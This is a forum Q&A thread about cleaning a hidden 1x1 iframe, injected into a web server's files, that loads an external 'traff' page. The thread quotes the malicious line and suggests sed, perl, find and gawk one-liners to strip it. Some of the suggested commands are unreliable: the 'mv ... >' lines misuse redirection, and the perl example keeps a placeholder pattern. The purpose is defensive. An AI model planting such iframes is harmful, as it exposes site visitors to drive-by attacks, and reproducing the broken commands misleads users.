Link to home
Start Free TrialLog in
Avatar of jbrashear72
jbrashear72

asked on

quick help with grep 500

go to /home
grep -rl "step57" *

You will see the affected files the line that is added is:
[iframe width="1" height="1" src="http://step57.info/traff/index2.php" style="border: 0;"][/iframe]

I need to do two things:

1. remove that line

2. is there a way to grep for that and only show the directories that the pattern is in?

Avatar of ahoffmann
ahoffmann
Flag of Germany image

1. sed -e '/step57/d' file > new-file
2. grep -rl "step57" * | gawk -F/ 'BEGIN{OFS="/"}{$NF="";print}'|sort -u
Avatar of jbrashear72
jbrashear72

ASKER

sed -e '/step57/d' file > new-file

requires giving it a file name and a new file name

can I recursavly go through a directory and find the and replace then  through out a directory say like /home    ?
A wimd card just look at all the files if the file exist then replace that line     [iframe width="1" height="1" src="http://step57.info/traff/index2.php" style="border: 0;"][/iframe]

with nothing a space ""

-J
your question is about grep, it cannot be done with grep
but try following:

find /home -type f -exec perl -i.bak -pe 's/lamb/sheep/g' {} \; -print
As pointed out already, you need sed for this. All you need is:

find /var/www/html | grep "\.html$" | gawk '{print "sed /step57/d " $0 " > /newfolder" $0}' | /bin/bash

scan all .html files and delete the line containing step57, and copy the resulting file to /newfolder

find /newfolder | grep "\.html$" | gawk '{print "mv " $0 " > /var" $0}' | /bin/bash

Copy the corrected files over the old corrupted ones. (2 lines  :)   )

Obviously make a backup before trying this:)

Full explanation is at:

https://www.experts-exchange.com/questions/21822732/using-grep-and-awk-to-do-a-global-replace-how-do-I-do-this-NEED-HELP-ASAP-500-pts.html

HTH:)
ASKER CERTIFIED SOLUTION
Avatar of pjedmond
pjedmond
Flag of United Kingdom of Great Britain and Northern Ireland image

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Ooops:

find /newfolder | grep "\.html$" | gawk '{print "mv " $0 " > /var" $0}' | /bin/bash

should be:

find /newfolder | grep "\.html$" | gawk '{print "mv " $0 " > /var/www/html" $0}' | /bin/bash

obviously alter the foldes depending on where your web server root is. The above is for the default RHEL apache setup.